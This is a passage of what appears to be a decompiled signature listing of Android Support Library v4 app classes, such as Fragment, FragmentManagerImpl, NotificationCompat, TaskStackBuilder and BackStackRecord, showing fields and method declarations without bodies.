    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public String escapeHtml(CharSequence);
    private static void withinStyle(StringBuilder, CharSequence, int, int);
}










android/support/v4/app/SharedElementCallback.class


package android.support.v4.app;
public abstract synchronized class SharedElementCallback {
    private android.graphics.Matrix mTempMatrix;
    public void SharedElementCallback();
    public void onSharedElementStart(java.util.List, java.util.List, java.util.List);
    public void onSharedElementEnd(java.util.List, java.util.List, java.util.List);
    public void onRejectSharedElements(java.util.List);
    public void onMapSharedElements(java.util.List, java.util.Map);
    public android.os.Parcelable onCaptureSharedElementSnapshot(android.view.View, android.graphics.Matrix, android.graphics.RectF);
    public android.view.View onCreateSnapshotView(android.content.Context, android.os.Parcelable);
}










android/support/v4/app/FragmentTransitionCompat21$3.class


package android.support.v4.app;
final synchronized class FragmentTransitionCompat21$3 extends android.transition.Transition$EpicenterCallback {
    private android.graphics.Rect mEpicenter;
    void FragmentTransitionCompat21$3(FragmentTransitionCompat21$EpicenterView);
    public android.graphics.Rect onGetEpicenter(android.transition.Transition);
}










android/support/v4/app/TaskStackBuilderJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilderJellybean {
    void TaskStackBuilderJellybean();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int, android.os.Bundle);
}










android/support/v4/app/FragmentManagerImpl$3.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$3 implements Runnable {
    void FragmentManagerImpl$3(FragmentManagerImpl, String, int);
    public void run();
}










android/support/v4/app/FragmentManager$OnBackStackChangedListener.class


package android.support.v4.app;
public abstract interface FragmentManager$OnBackStackChangedListener {
    public abstract void onBackStackChanged();
}










android/support/v4/app/NotificationManagerCompat$ImplBase.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$ImplBase implements NotificationManagerCompat$Impl {
    void NotificationManagerCompat$ImplBase();
    public void cancelNotification(android.app.NotificationManager, String, int);
    public void postNotification(android.app.NotificationManager, String, int, android.app.Notification);
    public int getSideChannelBindFlags();
}










android/support/v4/app/ActivityCompat21$SharedElementCallback21.class


package android.support.v4.app;
public abstract synchronized class ActivityCompat21$SharedElementCallback21 {
    public void ActivityCompat21$SharedElementCallback21();
    public abstract void onSharedElementStart(java.util.List, java.util.List, java.util.List);
    public abstract void onSharedElementEnd(java.util.List, java.util.List, java.util.List);
    public abstract void onRejectSharedElements(java.util.List);
    public abstract void onMapSharedElements(java.util.List, java.util.Map);
    public abstract android.os.Parcelable onCaptureSharedElementSnapshot(android.view.View, android.graphics.Matrix, android.graphics.RectF);
    public abstract android.view.View onCreateSnapshotView(android.content.Context, android.os.Parcelable);
}










android/support/v4/app/NotificationCompat$Extender.class


package android.support.v4.app;
public abstract interface NotificationCompat$Extender {
    public abstract NotificationCompat$Builder extend(NotificationCompat$Builder);
}










android/support/v4/app/NavUtils$NavUtilsImpl.class


package android.support.v4.app;
abstract interface NavUtils$NavUtilsImpl {
    public abstract android.content.Intent getParentActivityIntent(android.app.Activity);
    public abstract boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public abstract void navigateUpTo(android.app.Activity, android.content.Intent);
    public abstract String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/RemoteInputCompatBase$RemoteInput$Factory.class


package android.support.v4.app;
public abstract interface RemoteInputCompatBase$RemoteInput$Factory {
    public abstract RemoteInputCompatBase$RemoteInput build(String, CharSequence, CharSequence[], boolean, android.os.Bundle);
    public abstract RemoteInputCompatBase$RemoteInput[] newArray(int);
}










android/support/v4/app/NotificationCompatApi20.class


package android.support.v4.app;
synchronized class NotificationCompatApi20 {
    void NotificationCompatApi20();
    public static void addAction(android.app.Notification$Builder, NotificationCompatBase$Action);
    public static NotificationCompatBase$Action getAction(android.app.Notification, int, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    private static NotificationCompatBase$Action getActionCompatFromAction(android.app.Notification$Action, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    private static android.app.Notification$Action getActionFromActionCompat(NotificationCompatBase$Action);
    public static NotificationCompatBase$Action[] getActionsFromParcelableArrayList(java.util.ArrayList, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    public static java.util.ArrayList getParcelableArrayListForActions(NotificationCompatBase$Action[]);
    public static boolean getLocalOnly(android.app.Notification);
    public static String getGroup(android.app.Notification);
    public static boolean isGroupSummary(android.app.Notification);
    public static String getSortKey(android.app.Notification);
}










android/support/v4/app/RemoteInput$1.class


package android.support.v4.app;
final synchronized class RemoteInput$1 implements RemoteInputCompatBase$RemoteInput$Factory {
    void RemoteInput$1();
    public RemoteInput build(String, CharSequence, CharSequence[], boolean, android.os.Bundle);
    public RemoteInput[] newArray(int);
}










android/support/v4/app/TaskStackBuilder.class


package android.support.v4.app;
public synchronized class TaskStackBuilder implements Iterable {
    private static final String TAG = TaskStackBuilder;
    private static final TaskStackBuilder$TaskStackBuilderImpl IMPL;
    private final java.util.ArrayList mIntents;
    private final android.content.Context mSourceContext;
    private void TaskStackBuilder(android.content.Context);
    public static TaskStackBuilder create(android.content.Context);
    public static TaskStackBuilder from(android.content.Context);
    public TaskStackBuilder addNextIntent(android.content.Intent);
    public TaskStackBuilder addNextIntentWithParentStack(android.content.Intent);
    public TaskStackBuilder addParentStack(android.app.Activity);
    public TaskStackBuilder addParentStack(Class);
    public TaskStackBuilder addParentStack(android.content.ComponentName);
    public int getIntentCount();
    public android.content.Intent getIntent(int);
    public android.content.Intent editIntentAt(int);
    public java.util.Iterator iterator();
    public void startActivities();
    public void startActivities(android.os.Bundle);
    public android.app.PendingIntent getPendingIntent(int, int);
    public android.app.PendingIntent getPendingIntent(int, int, android.os.Bundle);
    public android.content.Intent[] getIntents();
    static void <clinit>();
}










android/support/v4/app/LoaderManager.class


package android.support.v4.app;
public abstract synchronized class LoaderManager {
    public void LoaderManager();
    public abstract android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract void destroyLoader(int);
    public abstract android.support.v4.content.Loader getLoader(int);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
    public boolean hasRunningLoaders();
}










android/support/v4/app/ActivityCompatHoneycomb.class


package android.support.v4.app;
synchronized class ActivityCompatHoneycomb {
    void ActivityCompatHoneycomb();
    static void invalidateOptionsMenu(android.app.Activity);
    static void dump(android.app.Activity, String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/ActivityCompat21.class


package android.support.v4.app;
synchronized class ActivityCompat21 {
    void ActivityCompat21();
    public static void finishAfterTransition(android.app.Activity);
    public static void setEnterSharedElementCallback(android.app.Activity, ActivityCompat21$SharedElementCallback21);
    public static void setExitSharedElementCallback(android.app.Activity, ActivityCompat21$SharedElementCallback21);
    public static void postponeEnterTransition(android.app.Activity);
    public static void startPostponedEnterTransition(android.app.Activity);
    private static android.app.SharedElementCallback createCallback(ActivityCompat21$SharedElementCallback21);
}










android/support/v4/app/NotificationCompatHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompatHoneycomb {
    void NotificationCompatHoneycomb();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap);
}










android/support/v4/app/RemoteInput.class


package android.support.v4.app;
public synchronized class RemoteInput extends RemoteInputCompatBase$RemoteInput {
    private static final String TAG = RemoteInput;
    public static final String RESULTS_CLIP_LABEL = android.remoteinput.results;
    public static final String EXTRA_RESULTS_DATA = android.remoteinput.resultsData;
    private final String mResultKey;
    private final CharSequence mLabel;
    private final CharSequence[] mChoices;
    private final boolean mAllowFreeFormInput;
    private final android.os.Bundle mExtras;
    private static final RemoteInput$Impl IMPL;
    public static final RemoteInputCompatBase$RemoteInput$Factory FACTORY;
    void RemoteInput(String, CharSequence, CharSequence[], boolean, android.os.Bundle);
    public String getResultKey();
    public CharSequence getLabel();
    public CharSequence[] getChoices();
    public boolean getAllowFreeFormInput();
    public android.os.Bundle getExtras();
    public static android.os.Bundle getResultsFromIntent(android.content.Intent);
    public static void addResultsToIntent(RemoteInput[], android.content.Intent, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$Action$Extender.class


package android.support.v4.app;
public abstract interface NotificationCompat$Action$Extender {
    public abstract NotificationCompat$Action$Builder extend(NotificationCompat$Action$Builder);
}










android/support/v4/app/FragmentManagerImpl.class


package android.support.v4.app;
final synchronized class FragmentManagerImpl extends FragmentManager implements android.view.LayoutInflater$Factory {
    static boolean DEBUG;
    static final String TAG = FragmentManager;
    static final boolean HONEYCOMB;
    static final String TARGET_REQUEST_CODE_STATE_TAG = android:target_req_state;
    static final String TARGET_STATE_TAG = android:target_state;
    static final String VIEW_STATE_TAG = android:view_state;
    static final String USER_VISIBLE_HINT_TAG = android:user_visible_hint;
    java.util.ArrayList mPendingActions;
    Runnable[] mTmpActions;
    boolean mExecutingActions;
    java.util.ArrayList mActive;
    java.util.ArrayList mAdded;
    java.util.ArrayList mAvailIndices;
    java.util.ArrayList mBackStack;
    java.util.ArrayList mCreatedMenus;
    java.util.ArrayList mBackStackIndices;
    java.util.ArrayList mAvailBackStackIndices;
    java.util.ArrayList mBackStackChangeListeners;
    int mCurState;
    FragmentActivity mActivity;
    FragmentContainer mContainer;
    Fragment mParent;
    boolean mNeedMenuInvalidate;
    boolean mStateSaved;
    boolean mDestroyed;
    String mNoTransactionsBecause;
    boolean mHavePendingDeferredStart;
    android.os.Bundle mStateBundle;
    android.util.SparseArray mStateArray;
    Runnable mExecCommit;
    static final android.view.animation.Interpolator DECELERATE_QUINT;
    static final android.view.animation.Interpolator DECELERATE_CUBIC;
    static final android.view.animation.Interpolator ACCELERATE_QUINT;
    static final android.view.animation.Interpolator ACCELERATE_CUBIC;
    static final int ANIM_DUR = 220;
    public static final int ANIM_STYLE_OPEN_ENTER = 1;
    public static final int ANIM_STYLE_OPEN_EXIT = 2;
    public static final int ANIM_STYLE_CLOSE_ENTER = 3;
    public static final int ANIM_STYLE_CLOSE_EXIT = 4;
    public static final int ANIM_STYLE_FADE_ENTER = 5;
    public static final int ANIM_STYLE_FADE_EXIT = 6;
    void FragmentManagerImpl();
    private void throwException(RuntimeException);
    public FragmentTransaction beginTransaction();
    public boolean executePendingTransactions();
    public void popBackStack();
    public boolean popBackStackImmediate();
    public void popBackStack(String, int);
    public boolean popBackStackImmediate(String, int);
    public void popBackStack(int, int);
    public boolean popBackStackImmediate(int, int);
    public int getBackStackEntryCount();
    public FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void putFragment(android.os.Bundle, String, Fragment);
    public Fragment getFragment(android.os.Bundle, String);
    public java.util.List getFragments();
    public Fragment$SavedState saveFragmentInstanceState(Fragment);
    public boolean isDestroyed();
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    static android.view.animation.Animation makeOpenCloseAnimation(android.content.Context, float, float, float, float);
    static android.view.animation.Animation makeFadeAnimation(android.content.Context, float, float);
    android.view.animation.Animation loadAnimation(Fragment, int, boolean, int);
    public void performPendingDeferredStart(Fragment);
    void moveToState(Fragment, int, int, int, boolean);
    void moveToState(Fragment);
    void moveToState(int, boolean);
    void moveToState(int, int, int, boolean);
    void startPendingDeferredFragments();
    void makeActive(Fragment);
    void makeInactive(Fragment);
    public void addFragment(Fragment, boolean);
    public void removeFragment(Fragment, int, int);
    public void hideFragment(Fragment, int, int);
    public void showFragment(Fragment, int, int);
    public void detachFragment(Fragment, int, int);
    public void attachFragment(Fragment, int, int);
    public Fragment findFragmentById(int);
    public Fragment findFragmentByTag(String);
    public Fragment findFragmentByWho(String);
    private void checkStateLoss();
    public void enqueueAction(Runnable, boolean);
    public int allocBackStackIndex(BackStackRecord);
    public void setBackStackIndex(int, BackStackRecord);
    public void freeBackStackIndex(int);
    public boolean execPendingActions();
    void reportBackStackChanged();
    void addBackStackState(BackStackRecord);
    boolean popBackStackState(android.os.Handler, String, int, int);
    java.util.ArrayList retainNonConfig();
    void saveFragmentViewState(Fragment);
    android.os.Bundle saveFragmentBasicState(Fragment);
    android.os.Parcelable saveAllState();
    void restoreAllState(android.os.Parcelable, java.util.ArrayList);
    public void attachActivity(FragmentActivity, FragmentContainer, Fragment);
    public void noteStateNotSaved();
    public void dispatchCreate();
    public void dispatchActivityCreated();
    public void dispatchStart();
    public void dispatchResume();
    public void dispatchPause();
    public void dispatchStop();
    public void dispatchReallyStop();
    public void dispatchDestroyView();
    public void dispatchDestroy();
    public void dispatchConfigurationChanged(android.content.res.Configuration);
    public void dispatchLowMemory();
    public boolean dispatchCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public boolean dispatchPrepareOptionsMenu(android.view.Menu);
    public boolean dispatchOptionsItemSelected(android.view.MenuItem);
    public boolean dispatchContextItemSelected(android.view.MenuItem);
    public void dispatchOptionsMenuClosed(android.view.Menu);
    public static int reverseTransit(int);
    public static int transitToStyleIndex(int, boolean);
    public android.view.View onCreateView(String, android.content.Context, android.util.AttributeSet);
    android.view.LayoutInflater$Factory getLayoutInflaterFactory();
    static void <clinit>();
}










android/support/v4/app/NotificationBuilderWithBuilderAccessor.class


package android.support.v4.app;
abstract interface NotificationBuilderWithBuilderAccessor {
    public abstract android.app.Notification$Builder getBuilder();
}










android/support/v4/app/NotificationCompatApi21$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompatApi21$Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions {
    private android.app.Notification$Builder b;
    public void NotificationCompatApi21$Builder(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, boolean, int, CharSequence, boolean, String, java.util.ArrayList, android.os.Bundle, int, int, android.app.Notification, String, boolean, String);
    public void addAction(NotificationCompatBase$Action);
    public android.app.Notification$Builder getBuilder();
    public android.app.Notification build();
}










android/support/v4/app/Fragment$InstantiationException.class


package android.support.v4.app;
public synchronized class Fragment$InstantiationException extends RuntimeException {
    public void Fragment$InstantiationException(String, Exception);
}










android/support/v4/app/FragmentState.class


package android.support.v4.app;
final synchronized class FragmentState implements android.os.Parcelable {
    final String mClassName;
    final int mIndex;
    final boolean mFromLayout;
    final int mFragmentId;
    final int mContainerId;
    final String mTag;
    final boolean mRetainInstance;
    final boolean mDetached;
    final android.os.Bundle mArguments;
    android.os.Bundle mSavedFragmentState;
    Fragment mInstance;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentState(Fragment);
    public void FragmentState(android.os.Parcel);
    public Fragment instantiate(FragmentActivity, Fragment);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$Action$Builder.class


package android.support.v4.app;
public final synchronized class NotificationCompat$Action$Builder {
    private final int mIcon;
    private final CharSequence mTitle;
    private final android.app.PendingIntent mIntent;
    private final android.os.Bundle mExtras;
    private java.util.ArrayList mRemoteInputs;
    public void NotificationCompat$Action$Builder(int, CharSequence, android.app.PendingIntent);
    public void NotificationCompat$Action$Builder(NotificationCompat$Action);
    private void NotificationCompat$Action$Builder(int, CharSequence, android.app.PendingIntent, android.os.Bundle);
    public NotificationCompat$Action$Builder addExtras(android.os.Bundle);
    public android.os.Bundle getExtras();
    public NotificationCompat$Action$Builder addRemoteInput(RemoteInput);
    public NotificationCompat$Action$Builder extend(NotificationCompat$Action$Extender);
    public NotificationCompat$Action build();
}










android/support/v4/app/ShareCompat$ShareCompatImplJB.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplJB extends ShareCompat$ShareCompatImplICS {
    void ShareCompat$ShareCompatImplJB();
    public String escapeHtml(CharSequence);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/FragmentTransaction.class


package android.support.v4.app;
public abstract synchronized class FragmentTransaction {
    public static final int TRANSIT_ENTER_MASK = 4096;
    public static final int TRANSIT_EXIT_MASK = 8192;
    public static final int TRANSIT_UNSET = -1;
    public static final int TRANSIT_NONE = 0;
    public static final int TRANSIT_FRAGMENT_OPEN = 4097;
    public static final int TRANSIT_FRAGMENT_CLOSE = 8194;
    public static final int TRANSIT_FRAGMENT_FADE = 4099;
    public void FragmentTransaction();
    public abstract FragmentTransaction add(Fragment, String);
    public abstract FragmentTransaction add(int, Fragment);
    public abstract FragmentTransaction add(int, Fragment, String);
    public abstract FragmentTransaction replace(int, Fragment);
    public abstract FragmentTransaction replace(int, Fragment, String);
    public abstract FragmentTransaction remove(Fragment);
    public abstract FragmentTransaction hide(Fragment);
    public abstract FragmentTransaction show(Fragment);
    public abstract FragmentTransaction detach(Fragment);
    public abstract FragmentTransaction attach(Fragment);
    public abstract boolean isEmpty();
    public abstract FragmentTransaction setCustomAnimations(int, int);
    public abstract FragmentTransaction setCustomAnimations(int, int, int, int);
    public abstract FragmentTransaction addSharedElement(android.view.View, String);
    public abstract FragmentTransaction setTransition(int);
    public abstract FragmentTransaction setTransitionStyle(int);
    public abstract FragmentTransaction addToBackStack(String);
    public abstract boolean isAddToBackStackAllowed();
    public abstract FragmentTransaction disallowAddToBackStack();
    public abstract FragmentTransaction setBreadCrumbTitle(int);
    public abstract FragmentTransaction setBreadCrumbTitle(CharSequence);
    public abstract FragmentTransaction setBreadCrumbShortTitle(int);
    public abstract FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    public abstract int commit();
    public abstract int commitAllowingStateLoss();
}










android/support/v4/app/NotificationCompatBase.class


package android.support.v4.app;
synchronized class NotificationCompatBase {
    void NotificationCompatBase();
}










android/support/v4/app/Fragment.class


package android.support.v4.app;
public synchronized class Fragment implements android.content.ComponentCallbacks, android.view.View$OnCreateContextMenuListener {
    private static final android.support.v4.util.SimpleArrayMap sClassMap;
    static final Object USE_DEFAULT_TRANSITION;
    static final int INITIALIZING = 0;
    static final int CREATED = 1;
    static final int ACTIVITY_CREATED = 2;
    static final int STOPPED = 3;
    static final int STARTED = 4;
    static final int RESUMED = 5;
    int mState;
    android.view.View mAnimatingAway;
    int mStateAfterAnimating;
    android.os.Bundle mSavedFragmentState;
    android.util.SparseArray mSavedViewState;
    int mIndex;
    String mWho;
    android.os.Bundle mArguments;
    Fragment mTarget;
    int mTargetIndex;
    int mTargetRequestCode;
    boolean mAdded;
    boolean mRemoving;
    boolean mResumed;
    boolean mFromLayout;
    boolean mInLayout;
    boolean mRestored;
    int mBackStackNesting;
    FragmentManagerImpl mFragmentManager;
    FragmentActivity mActivity;
    FragmentManagerImpl mChildFragmentManager;
    Fragment mParentFragment;
    int mFragmentId;
    int mContainerId;
    String mTag;
    boolean mHidden;
    boolean mDetached;
    boolean mRetainInstance;
    boolean mRetaining;
    boolean mHasMenu;
    boolean mMenuVisible;
    boolean mCalled;
    int mNextAnim;
    android.view.ViewGroup mContainer;
    android.view.View mView;
    android.view.View mInnerView;
    boolean mDeferStart;
    boolean mUserVisibleHint;
    LoaderManagerImpl mLoaderManager;
    boolean mLoadersStarted;
    boolean mCheckedForLoaderManager;
    Object mEnterTransition;
    Object mReturnTransition;
    Object mExitTransition;
    Object mReenterTransition;
    Object mSharedElementEnterTransition;
    Object mSharedElementReturnTransition;
    Boolean mAllowReturnTransitionOverlap;
    Boolean mAllowEnterTransitionOverlap;
    SharedElementCallback mEnterTransitionCallback;
    SharedElementCallback mExitTransitionCallback;
    public void Fragment();
    public static Fragment instantiate(android.content.Context, String);
    public static Fragment instantiate(android.content.Context, String, android.os.Bundle);
    static boolean isSupportFragmentClass(android.content.Context, String);
    final void restoreViewState(android.os.Bundle);
    final void setIndex(int, Fragment);
    final boolean isInBackStack();
    public final boolean equals(Object);
    public final int hashCode();
    public String toString();
    public final int getId();
    public final String getTag();
    public void setArguments(android.os.Bundle);
    public final android.os.Bundle getArguments();
    public void setInitialSavedState(Fragment$SavedState);
    public void setTargetFragment(Fragment, int);
    public final Fragment getTargetFragment();
    public final int getTargetRequestCode();
    public final FragmentActivity getActivity();
    public final android.content.res.Resources getResources();
    public final CharSequence getText(int);
    public final String getString(int);
    public final transient String getString(int, Object[]);
    public final FragmentManager getFragmentManager();
    public final FragmentManager getChildFragmentManager();
    public final Fragment getParentFragment();
    public final boolean isAdded();
    public final boolean isDetached();
    public final boolean isRemoving();
    public final boolean isInLayout();
    public final boolean isResumed();
    public final boolean isVisible();
    public final boolean isHidden();
    public final boolean hasOptionsMenu();
    public final boolean isMenuVisible();
    public void onHiddenChanged(boolean);
    public void setRetainInstance(boolean);
    public final boolean getRetainInstance();
    public void setHasOptionsMenu(boolean);
    public void setMenuVisibility(boolean);
    public void setUserVisibleHint(boolean);
    public boolean getUserVisibleHint();
    public LoaderManager getLoaderManager();
    public void startActivity(android.content.Intent);
    public void startActivityForResult(android.content.Intent, int);
    public void onActivityResult(int, int, android.content.Intent);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public void onInflate(android.app.Activity, android.util.AttributeSet, android.os.Bundle);
    public void onAttach(android.app.Activity);
    public android.view.animation.Animation onCreateAnimation(int, boolean, int);
    public void onCreate(android.os.Bundle);
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public android.view.View getView();
    public void onActivityCreated(android.os.Bundle);
    public void onViewStateRestored(android.os.Bundle);
    public void onStart();
    public void onResume();
    public void onSaveInstanceState(android.os.Bundle);
    public void onConfigurationChanged(android.content.res.Configuration);
    public void onPause();
    public void onStop();
    public void onLowMemory();
    public void onDestroyView();
    public void onDestroy();
    void initState();
    public void onDetach();
    public void onCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public void onPrepareOptionsMenu(android.view.Menu);
    public void onDestroyOptionsMenu();
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onOptionsMenuClosed(android.view.Menu);
    public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu$ContextMenuInfo);
    public void registerForContextMenu(android.view.View);
    public void unregisterForContextMenu(android.view.View);
    public boolean onContextItemSelected(android.view.MenuItem);
    public void setEnterSharedElementCallback(SharedElementCallback);
    public void setExitSharedElementCallback(SharedElementCallback);
    public void setEnterTransition(Object);
    public Object getEnterTransition();
    public void setReturnTransition(Object);
    public Object getReturnTransition();
    public void setExitTransition(Object);
    public Object getExitTransition();
    public void setReenterTransition(Object);
    public Object getReenterTransition();
    public void setSharedElementEnterTransition(Object);
    public Object getSharedElementEnterTransition();
    public void setSharedElementReturnTransition(Object);
    public Object getSharedElementReturnTransition();
    public void setAllowEnterTransitionOverlap(boolean);
    public boolean getAllowEnterTransitionOverlap();
    public void setAllowReturnTransitionOverlap(boolean);
    public boolean getAllowReturnTransitionOverlap();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    Fragment findFragmentByWho(String);
    void instantiateChildFragmentManager();
    void performCreate(android.os.Bundle);
    android.view.View performCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    void performActivityCreated(android.os.Bundle);
    void performStart();
    void performResume();
    void performConfigurationChanged(android.content.res.Configuration);
    void performLowMemory();
    boolean performCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    boolean performPrepareOptionsMenu(android.view.Menu);
    boolean performOptionsItemSelected(android.view.MenuItem);
    boolean performContextItemSelected(android.view.MenuItem);
    void performOptionsMenuClosed(android.view.Menu);
    void performSaveInstanceState(android.os.Bundle);
    void performPause();
    void performStop();
    void performReallyStop();
    void performDestroyView();
    void performDestroy();
    static void <clinit>();
}










android/support/v4/app/NavUtils.class


package android.support.v4.app;
public synchronized class NavUtils {
    private static final String TAG = NavUtils;
    public static final String PARENT_ACTIVITY = android.support.PARENT_ACTIVITY;
    private static final NavUtils$NavUtilsImpl IMPL;
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpFromSameTask(android.app.Activity);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static android.content.Intent getParentActivityIntent(android.content.Context, Class) throws android.content.pm.PackageManager$NameNotFoundException;
    public static android.content.Intent getParentActivityIntent(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    public static String getParentActivityName(android.app.Activity);
    public static String getParentActivityName(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    private void NavUtils();
    static void <clinit>();
}










android/support/v4/app/NavUtilsJB.class


package android.support.v4.app;
synchronized class NavUtilsJB {
    void NavUtilsJB();
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static String getParentActivityName(android.content.pm.ActivityInfo);
}










android/support/v4/app/NotificationBuilderWithActions.class


package android.support.v4.app;
abstract interface NotificationBuilderWithActions {
    public abstract void addAction(NotificationCompatBase$Action);
}










android/support/v4/app/BackStackRecord.class


package android.support.v4.app;
final synchronized class BackStackRecord extends FragmentTransaction implements FragmentManager$BackStackEntry, Runnable {
    static final String TAG = FragmentManager;
    final FragmentManagerImpl mManager;
    static final int OP_NULL = 0;
    static final int OP_ADD = 1;
    static final int OP_REPLACE = 2;
    static final int OP_REMOVE = 3;
    static final int OP_HIDE = 4;
    static final int OP_SHOW = 5;
    static final int OP_DETACH = 6;
    static final int OP_ATTACH = 7;
    BackStackRecord$Op mHead;
    BackStackRecord$Op mTail;
    int mNumOp;
    int mEnterAnim;
    int mExitAnim;
    int mPopEnterAnim;
    int mPopExitAnim;
    int mTransition;
    int mTransitionStyle;
    boolean mAddToBackStack;
    boolean mAllowAddToBackStack;
    String mName;
    boolean mCommitted;
    int mIndex;
    int mBreadCrumbTitleRes;
    CharSequence mBreadCrumbTitleText;
    int mBreadCrumbShortTitleRes;
    CharSequence mBreadCrumbShortTitleText;
    java.util.ArrayList mSharedElementSourceNames;
    java.util.ArrayList mSharedElementTargetNames;
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public void dump(String, java.io.PrintWriter, boolean);
    public void BackStackRecord(FragmentManagerImpl);
    public int getId();
    public int getBreadCrumbTitleRes();
    public int getBreadCrumbShortTitleRes();
    public CharSequence getBreadCrumbTitle();
    public CharSequence getBreadCrumbShortTitle();
    void addOp(BackStackRecord$Op);
    public FragmentTransaction add(Fragment, String);
    public FragmentTransaction add(int, Fragment);
    public FragmentTransaction add(int, Fragment, String);
    private void doAddOp(int, Fragment, String, int);
    public FragmentTransaction replace(int, Fragment);
    public FragmentTransaction replace(int, Fragment, String);
    public FragmentTransaction remove(Fragment);
    public FragmentTransaction hide(Fragment);
    public FragmentTransaction show(Fragment);
    public FragmentTransaction detach(Fragment);
    public FragmentTransaction attach(Fragment);
    public FragmentTransaction setCustomAnimations(int, int);
    public FragmentTransaction setCustomAnimations(int, int, int, int);
    public FragmentTransaction setTransition(int);
    public FragmentTransaction addSharedElement(android.view.View, String);
    public FragmentTransaction setTransitionStyle(int);
    public FragmentTransaction addToBackStack(String);
    public boolean isAddToBackStackAllowed();
    public FragmentTransaction disallowAddToBackStack();
    public FragmentTransaction setBreadCrumbTitle(int);
    public FragmentTransaction setBreadCrumbTitle(CharSequence);
    public FragmentTransaction setBreadCrumbShortTitle(int);
    public FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    void bumpBackStackNesting(int);
    public int commit();
    public int commitAllowingStateLoss();
    int commitInternal(boolean);
    public void run();
    private static void setFirstOut(android.util.SparseArray, Fragment);
    private void setLastIn(android.util.SparseArray, Fragment);
    private void calculateFragments(android.util.SparseArray, android.util.SparseArray);
    public void calculateBackFragments(android.util.SparseArray, android.util.SparseArray);
    public BackStackRecord$TransitionState popFromBackStack(boolean, BackStackRecord$TransitionState, android.util.SparseArray, android.util.SparseArray);
    public String getName();
    public int getTransition();
    public int getTransitionStyle();
    public boolean isEmpty();
    private BackStackRecord$TransitionState beginTransition(android.util.SparseArray, android.util.SparseArray, boolean);
    private static Object getEnterTransition(Fragment, boolean);
    private static Object getExitTransition(Fragment, boolean);
    private static Object getSharedElementTransition(Fragment, Fragment, boolean);
    private static Object captureExitingViews(Object, Fragment, java.util.ArrayList, android.support.v4.util.ArrayMap);
    private android.support.v4.util.ArrayMap remapSharedElements(BackStackRecord$TransitionState, Fragment, boolean);
    private boolean configureTransitions(int, BackStackRecord$TransitionState, boolean, android.util.SparseArray, android.util.SparseArray);
    private void prepareSharedElementTransition(BackStackRecord$TransitionState, android.view.View, Object, Fragment, Fragment, boolean, java.util.ArrayList);
    private void callSharedElementEnd(BackStackRecord$TransitionState, Fragment, Fragment, boolean, android.support.v4.util.ArrayMap);
    private void setEpicenterIn(android.support.v4.util.ArrayMap, BackStackRecord$TransitionState);
    private android.support.v4.util.ArrayMap mapSharedElementsIn(BackStackRecord$TransitionState, boolean, Fragment);
    private static android.support.v4.util.ArrayMap remapNames(java.util.ArrayList, java.util.ArrayList, android.support.v4.util.ArrayMap);
    private android.support.v4.util.ArrayMap mapEnteringSharedElements(BackStackRecord$TransitionState, Fragment, boolean);
    private void excludeHiddenFragmentsAfterEnter(android.view.View, BackStackRecord$TransitionState, int, Object);
